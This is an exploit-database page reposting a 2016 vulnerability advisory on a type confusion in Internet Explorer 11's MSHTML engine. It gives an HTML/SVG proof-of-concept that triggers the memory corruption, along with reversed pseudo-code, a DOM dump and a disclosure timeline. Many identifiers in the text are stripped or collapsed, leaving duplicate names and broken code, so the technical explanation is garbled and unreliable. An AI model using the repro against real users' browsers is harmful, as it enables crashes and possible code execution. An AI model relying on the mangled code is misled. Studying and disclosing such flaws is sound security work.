Microsoft Internet Explorer 11 MSHTML - 'CGenerated­Content::HasGeneratedSVGMarker' Type Confu



EKU-ID: 6103 CVE: OSVDB-ID:
Author: Skylined Published: 2016-11-29 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


<!--
Source: http://blog.skylined.nl/20161124001.html
 
Synopsis
 
A specially crafted web-page can cause a type confusion in HTML layout in Microsoft Internet Explorer 11. An attacker might be able to exploit this issue to execute arbitrary code.
 
Known affected software and attack vectors
 
Microsoft Internet Explorer 11
 
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
 
Repro.html:
-->
 
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <script>
      window.onload = function () {
        document.get("iframe")[0].src = "repro-iframe.html";
      }
    </script>
  </head>
  <body>
    <iframe></iframe>
  </body>
</html>
 
<!--
 
Repro-iframe.html:
 
<svg><path marker-start="url(#)"><title><q><button>
 
Description
 
Internally MSIE uses various lists of linked CTree objects to represent the DOM tree. For HTML/SVG elements a CTree element is created, which embeds two CTree instances: one that contains information about the first child of the element and one that indicates the next sibling or parent of the element. For text nodes an object containing only one CTree is created, as such nodes never have any children. CTree instances have various flags set. This includes a flag that indicates if they are the first (f) or second (f) CTree instance for an element, or the only instance for a test node (f).
 
The CTree::Branch method of an CTree instance embedded in a CTree can be used to calculate a pointer to the CTree. It determines if the CTree instance is the first or second in the CTree by looking at the f flag and subtract the offset of this CTree object in a CTree object to calculate the address of the later. This method assumes that the CTree instance is part of a CTree and not a Text. It will yield invalid results when called on the later. In a Text, the CTree does not have the f flag set, so the code assumes this is the second CTree instance in a CTree object and subtracts 0x24 from its address to calculate the address of the CTree. Since the CTree instance is the first element in a Text, the returned address will be 0x24 bytes before the Text, pointing to memory that is not part of the object.
 
Note that this behavior is very similar to another issue I found around the same time, in that that issues also caused the code to access memory 0x24 bytes before the start of a memory region containing an object. Looking back I believe that both issues may have had the same root cause and were fixed at the same time.
 
The CGenerated::Has method walks the DOM using one of the CTree linked lists. It looks for any descendant node of an element that has a CTree instance with a specific flag set. If found, the CTree::Branch method is called to find the related CTree, without checking if the CTree is indeed part of a CTree. If a certain flag is set on this CTree, it returns true. Otherwise it continues scanning. If nothing is found, it returns false.
 
The repro creates a situation where the CGenerated::Has method is called on an SVG path element which has a Text instance as a descendant with the right flags set to cause it to call CTree::Branch on this Text. This leads to type confusion/a bad cast where a pointer that points before a Text is used as a pointer to a CTree.
 
Reversed code
 
While reversing the relevant parts, I created the following pseudo-code to illustrate the issue:
 
enum e {
  f =           0x01, // if set, this is a markup node
  f =             0x02, // if set, this is a markup node
  f =            0x04, // if set, this is a markup node
  f =         0x08, // if set, this is not a markup node
  f =        0x0f
  f =       0x10,
  f =       0x20, // po => f ? parent : sibling
  f2Pos =        0x40, // valid if f is set
  f =         0x80,
  f100 = 0x100, // if set, this is not a markup node
}
struct CTree {
  /*offs size*/                                             // THE BELOW ARE BEST GUESSES BASED ON INADEQUATE INFORMATION!!
  /*0000 0004*/ e  f00;                    
  /*0004 0004*/ UINT          u04;                // Seems to be counting some chars - not sure what exactly
  /*0008 0004*/ CTree*     po;                 // can be NULL if no children exist.
  /*000C 0004*/ CTree*     po;        // f00 & f ? parent end tag : sibling start tag
  /*0010 0004*/ CTree*     po10;               // f00 & f ? previous sibling or parent : last child or start tag
  /*0014 0004*/ CTree*     po14;              // f00 & f ? first child or end tag :
                                                            
  /*0018 0004*/ flags  (0x10 = something with CDATA        
  /*0028 0004*/                                            
}                                                          
 
struct CTree {
  /*offs size*/                                             // THE BELOW ARE BEST GUESSES BASED ON INADEQUATE INFORMATION!!
  /*0000 0004*/ CElement*     po00;                 
  /*0004 0004*/ CTree*    po04;                  
  /*0008 0004*/ DWORD         dw08;                  // flags?
  /*000C 0018*/ CTree      o0C;              // represents the position in the document immediately before the start tag
  /*0024 0018*/ CTree      o24;                // represents the position in the document immediately after the end tag
  /*003C ????*/ Unknown
}
struct Text { // I did not figure out what this is called in MSIE
  /*0000 0018*/ CTree      o00;                // represents the position in the document immediately after the node.
  /*0018 0014*/ Unknown
}
 
CTree* CTree::Branch() {
  // Given a pointer to a CTree instance in a CTree instance, calculate a pointer to the CTree instance.
  // The CTree instance must be either the o0C (o0C->f00 & f != 0) or the
  // o24 (o24->f00 & f != 0).
  BOOL b0C = this->f00 & f;
  INT u = offsetof(CTree, b0C ? o0C : o24);
  return (CTree*)((BYTE*)this - u);
}
 
BOOL CGenerated::Has() {
  for (
    CTree* po = this->o0C.po14,
      CTree* po = &(this->o24);
    po != po;
    po = po->po14
  ) {
    if (po->f00 & f100) {
      // Calling Branch is only valid in the context of CTree embedded in a CTree, so the code should check for
      // the presence of f or f in f00 before doing so. This line of code may fix the issue:
      // if (po->f00 & (f | f) == 0) continue;
      CTree* po = po->Branch();
      if (po && po->dw64 == 20) {
          return 1
      }
    }
  }
  return 0
}
 
 
DOM Tree
 
If you replace the <q> tag with an <a> tag in the repro, or insert a <script> tag before the <svg> tag, the repro does not trigger an access violation. At that point it is possible to use document.document.outer as well as recursively walk document.document.child to get an idea of what the DOM tree looks like around the time of the crash.
 
document.document.outer:
 
<html>
  <head>
  </head>
  <body>
    <svg xmlns="http://www.w3.org/2000/svg">
      <path marker-start="url("#")">
        <title>
          <q>
            <button>                    // no closing tag.
            <script>                    // script is a sibling of button
              #text                     // snipped
            </script>
          </q>
        </title>                        // Things get really weird here:
        </title>
      </path>                           // all svg close tags are doubled!?
      </path>
    </svg>                              // Not sure what this means.
    </svg>
  </body>
</html>
 
 
Walking document.document.child:
 
<html>
  <head>
  <body>
    <svg>                               // I did not look at attributes
      <path>                            // ^^^ same here
        <title>
          <q>
            <button>
              <script>                  // script is a child of button
                #text                   // snipped
 
Exploit
 
I did not find any code path that could lead to exploitation. However, I did not do a thorough step through of the code to find out if and how I might control execution flow upwards in the stack. Also, it appears trivial to have MSIE survive the initial crash by massaging the heap. It might be possible that other methods are affected by a similar issue and that further DOM manipulations can be used to trigger a more interesting code path.
 
Time-line
 
July 2014: This vulnerability was found through fuzzing.
September 2014: This vulnerability was submitted to ZDI.
September 2014: This vulnerability appears to have been fixed.
October 2014: This vulnerability was rejected by ZDI.
November 2016: Details of this issue are released.
-->